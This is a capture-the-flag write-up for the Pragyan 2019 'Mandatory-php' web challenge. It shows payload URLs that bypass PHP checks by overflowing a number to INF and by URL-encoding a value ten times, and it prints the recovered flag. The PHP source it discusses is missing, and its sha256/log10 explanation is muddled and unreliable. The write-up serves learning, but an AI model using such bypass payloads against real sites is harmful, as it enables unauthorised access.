Writeup: Pragyan 2019 - Mandatory-php
Information
- category: web
- points: 125
Description
PHP, PHP everywhere get the flag and earn your points there.
Link: http://159.89.166.12:14000/
Writeup
This is how the index page looks like (we can see the PHP code because the file is highlighted) :
1 |
|
We need to pass with GET method 4
values (val1=a,val2=b,val3=c,val4=d).
a‘s value must be a character and d must be greater than c, both greater than 0.
If we put in a‘s value the string : a
, It will become after the sha256 functions :
ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb
And If we compute the log10 It will become :
INF
There’s a vulnerability that we can exploit in order to bypass the control flow, we can put in d a huge value that the PHP will transform in INF
and the control will be exploited.
First payload :
1 | http://159.89.166.12:14000/?val1=a&val2=0&val3=1&val4=1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444433333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333332222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222221111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111888888888888888888888888888888888888888888888888888888888888 |
First piece of flag :
pctf{b3_c4r3fu1_
In order to bypass the second control where b is urldecoded 10 times, we can URL encode WoAHh!
10 Times ( %21 is !
and %25 is %
) :
WoAHh%2525252525252525252521
Second Payload :
1 | http://159.89.166.12:14000/?val1=a&val2=WoAHh%2525252525252525252521&val3=5&val4=1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444433333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333332222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222221111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111888888888888888888888888888888888888888888888888888888888888 |
Second piece of flag :
w1th_pHp_f31145}
Flag
pctf{b3_c4r3fu1_w1th_pHp_f31145}